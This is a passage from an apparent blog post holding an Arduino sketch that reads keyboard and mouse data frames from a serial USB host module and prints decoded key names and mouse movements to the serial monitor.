  //模式0 开启键盘全部灯 开启使用
  mySerial.write(buffer_keyUse, sizeof(buffer_keyUse));
  delay(1000);
  //模式0 禁止回传状态帧
  mySerial.write(buffer_stopMsg, sizeof(buffer_stopMsg));
  delay(1000);
  
  Serial.println("开始运行...");
 
}


void loop() {
 // Serial.println("...");
  if (mySerial.available())
  {
      //comdata =mySerial.readStringUntil(0x57);
       int comdata_=mySerial.read();
       //Serial.print(String(comdata_,HEX));
       //Serial.println(String(comdata_,HEX));
       //57 AB 88 0C 12 01 00 00 04 00 00 00 00 00 12 17
       //57 ab 88 0b 21 10 00 00 2c 00 00 00 00 00 1a 46
       Jiexi_Key(comdata_);
       
  }
          
      //delay(10);
}

int delay_time=1;
void Jiexi_Key(int comdata){
  
    if (comdata == 0x57)
       {
         delay(delay_time);
         comdata=mySerial.read();
         if (comdata == 0xAB)
         {
           delay(delay_time);
           comdata=mySerial.read();
    
           if (comdata == 0x88)
           {

            delay(delay_time);
            comdata=mySerial.read();

             if (comdata == 0x0B)
             {

                 delay(delay_time);
                 comdata=mySerial.read();
                 if (comdata == 0x10 || comdata == 0x11)
                 {
                  delay(delay_time);
                  comdata=mySerial.read();     //00

                  delay(delay_time);
                  comdata=mySerial.read();   //00

                  delay(delay_time);
                  comdata=mySerial.read();  // 
                  
                  String key=getKey(comdata);
                  Serial.println("键盘: "+String(comdata,HEX)+"  键值:"+key);

                  
               
                  
                 }
                 else if (comdata == 0x21 || comdata == 0x20)
                 {
                    delay(delay_time);
                    comdata=mySerial.read();  
                          
                    delay(delay_time);
                    int btn=mySerial.read();//
                 

                    delay(delay_time);
                    int h22=mySerial.read();
                    delay(delay_time);
                    int h21=mySerial.read();
                    delay(delay_time);
                    int h12=mySerial.read();
                    delay(delay_time);
                    int h11=mySerial.read();
                    
                    delay(delay_time);
                    int lun=mySerial.read();
                    
                    String msg="鼠标按键:"+String(btn,HEX)+"  左右位移:"+String(h22,HEX)+String(h21,HEX)+" 前后位移:"+String(h12,HEX)+String(h11,HEX)+"  滑轮方向:"+String(lun,HEX);
                    Serial.println(msg);
                    

                    
                  }
                 else{
                    //Serial.println("其他设备");
                  }
             
             }
           }
         }
       }
  }

String getKey(uint8_t serialData){
  if(serialData==0x00){return "";}
  if(serialData==0x04){return "A";}
  if(serialData==0x05){return "B";}
  if(serialData==0x06){return "C";}
  if(serialData==0x07){return "D";}
  if(serialData==0x08){return "E";}
  if(serialData==0x09){return "F";}
  if(serialData==0x0A){return "G";}
  if(serialData==0x0B){return "H";}
  if(serialData==0x0C){return "I";}
  if(serialData==0x0D){return "J";}
  if(serialData==0x0E){return "K";}
  if(serialData==0x0F){return "L";}
  if(serialData==0x10){return "M";}
  if(serialData==0x11){return "N";}
  if(serialData==0x12){return "O";}
  if(serialData==0x13){return "P";}
  if(serialData==0x14){return "Q";}
  if(serialData==0x15){return "R";}
  if(serialData==0x16){return "S";}
  if(serialData==0x17){return "T";}
  if(serialData==0x18){return "U";}
  if(serialData==0x19){return "V";}
  if(serialData==0x1A){return "W";}
  if(serialData==0x1B){return "X";}
  if(serialData==0x1C){return "Y";}
  if(serialData==0x1D){return "Z";}
  if(serialData==0x1E){return "[1 or !]";}
  if(serialData==0x1F){return "[2 or @]";}
  if(serialData==0x20){return "[3 or #]";}
  if(serialData==0x21){return "[4 or $]";}
  if(serialData==0x22){return "[5 or %]";}
  if(serialData==0x23){return "[6 or ^]";}
  if(serialData==0x24){return "[7 or &]";}
  if(serialData==0x25){return "[8 or *]";}
  if(serialData==0x26){return "[9 or (]";}
  if(serialData==0x27){return "[10 or )]";}
  if(serialData==0x28){return "[ENTER]";}
  if(serialData==0x29){return "[ESC]";}
  if(serialData==0x2A){return "[BACKSPACE]";}
  if(serialData==0x2B){return "[TAB]";}
  if(serialData==0x2C){return "[SPACE]";}
  if(serialData==0x2D){return "[- or _]";}
  if(serialData==0x2E){return "[= or +]";}
  if(serialData==0x2F){return "[[ or {]";}
  if(serialData==0x30){return "[] or }]";}
  if(serialData==0x31){return "[\\ or |]";}
  if(serialData==0x32){return "[` or ~]";}
  if(serialData==0x33){return "[; or :]";}
  if(serialData==0x34){return "[' or ”]";}
  if(serialData==0x35){return "[~ or `]";}
  if(serialData==0x36){return "[, or <]";}
  if(serialData==0x37){return "[. or >]";}
  if(serialData==0x38){return "[/ or ?]";}
  if(serialData==0x39){return "[CAPS]";}
  if(serialData==0x3A){return "[F1]";}
  if(serialData==0x3B){return "[F2]";}
  if(serialData==0x3C){return "[F3]";}
  if(serialData==0x3D){return "[F4]";}
  if(serialData==0x3E){return "[F5]";}
  if(serialData==0x3F){return "[F6]";}
  if(serialData==0x40){return "[F7]";}
  if(serialData==0x41){return "[F8]";}
  if(serialData==0x42){return "[F9]";}
  if(serialData==0x43){return "[F10]";}
  if(serialData==0x44){return "[F11]";}
  if(serialData==0x45){return "[F12]";}
  if(serialData==0x46){return "[PRT_SCR]";}
  if(serialData==0x47){return "[SCOLL_LOCK]";}
  if(serialData==0x48){return "[PAUSE]";}
  if(serialData==0x49){return "[INS]";}
  if(serialData==0x4A){return "[HOME]";}
  if(serialData==0x4B){return "[PAGEUP]";}
  if(serialData==0x4C){return "[DEL]";}
  if(serialData==0x4D){return "[END]";}
  if(serialData==0x4E){return "[PAGEDOWN]";}
  if(serialData==0x4F){return "[RIGHT_ARROW]";}
  if(serialData==0x50){return "[LEFT_ARROW]";}
  if(serialData==0x51){return "[DOWN_ARROW]";}
  if(serialData==0x52){return "[UP_ARROW]";}
  if(serialData==0x53){return "[PAD_NUMLOCK]";}
  if(serialData==0x54){return "[PAD_DIV]";}
  if(serialData==0x55){return "[PAD_MUL]";}
  if(serialData==0x56){return "[PAD_SUB]";}
  if(serialData==0x57){return "[PAD_ADD]";}
  if(serialData==0x58){return "[PAD_ENTER]";}
  if(serialData==0x59){return "[PAD_1]";}
  if(serialData==0x5A){return "[PAD_2]";}
  if(serialData==0x5B){return "[PAD_3]";}
  if(serialData==0x5C){return "[PAD_4]";}
  if(serialData==0x5D){return "[PAD_5]";}
  if(serialData==0x5E){return "[PAD_6]";}
  if(serialData==0x5F){return "[PAD_7]";}
  if(serialData==0x60){return "[PAD_8]";}
  if(serialData==0x61){return "[PAD_9]";}
  if(serialData==0x62){return "[PAD_0]";}
  if(serialData==0x63){return "[PAD_DOT]";}
  if(serialData==0xE0){return "[leftctrl]";}
  if(serialData==0xE2){return "[leftAlt]";}
  if(serialData==0xE1){return "[leftShift]";}
  if(serialData==0xE3){return "[leftwindows]";}
  if(serialData==0xE7){return "[rightwindows]";}
  if(serialData==0xE5){return "[rightShift]";}
  if(serialData==0xE6){return "[rightAlt]";}
  if(serialData==0xE4){return "[rightCtrl]";}
}

  

posted on 2022-10-19 12:38  MKT-porter  阅读(2512)  评论(1)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3